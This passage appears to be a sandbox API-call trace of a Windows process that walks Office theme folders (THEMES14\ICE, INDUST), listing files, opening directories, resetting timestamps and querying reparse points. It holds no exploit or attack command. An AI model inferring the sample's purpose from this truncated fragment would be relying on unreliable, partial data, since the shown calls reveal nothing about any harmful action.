FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.247] GetLastError () returned 0x12 [0054.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefb3c0) returned 1 [0054.247] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefb2b8) returned 1 [0054.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.247] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0054.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.257] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefc328 [0054.258] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefc328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefc328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc328) returned 1 [0054.258] NtClose (Handle=0x17c) returned 0x0 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.258] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.258] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.258] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9e60 [0054.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb2b8 [0054.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.258] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9e80 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb3c0 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ea0 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbd08 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ec0 [0054.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbe10 [0054.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.260] GetLastError () returned 0x12 [0054.260] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.260] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.260] GetLastError () returned 0x12 [0054.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.260] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.260] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0054.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.266] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefc328 [0054.266] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefc328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefc328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.266] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefc328) returned 1 [0054.266] NtClose (Handle=0x170) returned 0x0 [0054.266] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.266] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbf18 [0054.266] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.266] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc020 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ee0 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc128 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9f00 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc340 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9f20 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc448 [0054.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9f40 [0054.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc550 [0054.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.268] GetLastError () returned 0x12 [0054.268] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.268] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, 